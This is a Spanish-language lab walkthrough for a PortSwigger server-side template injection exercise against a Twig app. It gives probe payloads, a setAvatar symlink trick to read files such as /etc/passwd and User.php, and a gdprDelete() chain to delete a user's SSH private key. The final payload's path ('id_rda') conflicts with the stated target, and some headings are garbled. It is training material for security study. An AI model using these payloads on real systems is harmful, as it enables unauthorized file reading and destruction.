> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/ssti/ssti-with-custom-exploit.md).

# SSTI con un exploit personalizado

Notas de SSTI con un exploit personalizado para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Inyección de plantillas del lado del servidor con un exploit personalizado

La aplicación es vulnerable a una inyección SSTI. / El objetivo es crear un personalizado **exploit** que te permita eliminar el `/home/carlos/.ssh/id_rsa`\*\* archivo. / Posible conexión con el usuario: `wiener:peter`.

#### Punto inyectable

El **apodo** el campo es vulnerable:

```python
}}{{7*7
```

La expresión se evalúa.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-76bd882bbfebfe0d7eb4662266cd1af848902330%2Fimage%20(302).png?alt=media" alt=""><figcaption></figcaption></figure>

Al provocar un error:

```php
}}{{7/a
```

Se descubre que el motor utilizado es **Twig (PHP)**.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a4302d42eeceeaf957a79226199b723d907bb413%2Fimage%20(303).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Desvío de la función de D

Es posible definir un avatar personalizado mediante:

```php
user.setAvatar(PATH, 'image/jpg')
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0d7f3aecaae6377184b4a1786e0c1736c1743ba%2Fimage%20(304).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c99d6939c29e0ebdee73bd84ca41eea3df8a605%2Fimage%20(305).png?alt=media" alt="" width="496"><figcaption></figcaption></figure>

Este mecanismo crea un **enlace simbólico** a cualquier archivo legible. / Así, puedes recuperar tu contenido descargando el avatar.

#### Ejemplo

Leer `/etc/passwd`

```php
user.setAvatar('/etc/passwd','image/jpg')
```

El archivo es accesible al abrir la imagen

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-34c3e0a31f2f4d35058c5196c11e27c34bbc2202%2Fimage%20(306).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Análisis de código `User.php`

El `/home/carlos/User.php` el archivo revela:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c0d67981672d0d11989b56d781795925399fb957%2Fimage%20(307).png?alt=media" alt=""><figcaption></figcaption></figure>

\*\*La `gdprDelete()` función realmente elimina el archivo apuntado por el enlace simbólico. \*\*/ Esto es exactamente lo que se debe usar para borrar `id_rsa`.

```php
user.setAvatar('/home/carlos/User.php','image/jpg')
```

```php
<?php

class User {
    public $username;
    public $name;
    public $first_name;
    public $nickname;
    public $user_dir;

    public function __construct($username, $name, $first_name, $nickname) {
        $this->username = $username;
        $this->name = $name;
        $this->first_name = $first_name;
        $this->nickname = $nickname;
        $this->user_dir = "users/" . $this->username;
        $this->avatarLink = $this->user_dir . "/avatar";

        if (!file_exists($this->user_dir)) {
            if (!mkdir($this->user_dir, 0755, true))
            {
                throw new Exception("No se pudo crear el directorio users/" . $this->username);
            }
        }
    }

    public function setAvatar($filename, $mimetype) {
        if (strpos($mimetype, "image/") !== 0) {
            throw new Exception("El tipo MIME del archivo subido no es una imagen: " . $mimetype);
        }

        if (is_link($this->avatarLink)) {
            $this->rm($this->avatarLink);
        }

        if (!symlink($filename, $this->avatarLink)) {
            throw new Exception("No se pudo escribir el enlace simbólico " . $filename . " -> " . $this->avatarLink);
        }
    }


    public function gdprDelete() {
        $this->rm(readlink($this->avatarLink));
        $this->rm($this->avatarLink);
        $this->delete();
    }

    private function rm($filename) {
        if (!unlink($filename)) {
            throw new Exception("No se pudo eliminar " . $filename);
        }
    }
}

?>
```

#### Operación: Eliminación de `/home/carlos/.ssh/id_rsa`

Crea un enlace simbólico a la clave SSH de Carlos

```php
user.setAvatar('/home/carlos/.ssh/id_rda','image/jpg')
```

Activar la eliminación mediante:

```php
user.gdprDelete()
```

El enlace simbólico apunta a `id_rsa`/ `gdprDelete()` borra el **objetivo** enlace \*\*`id_rsa` archivo se elimina. \*\*


---

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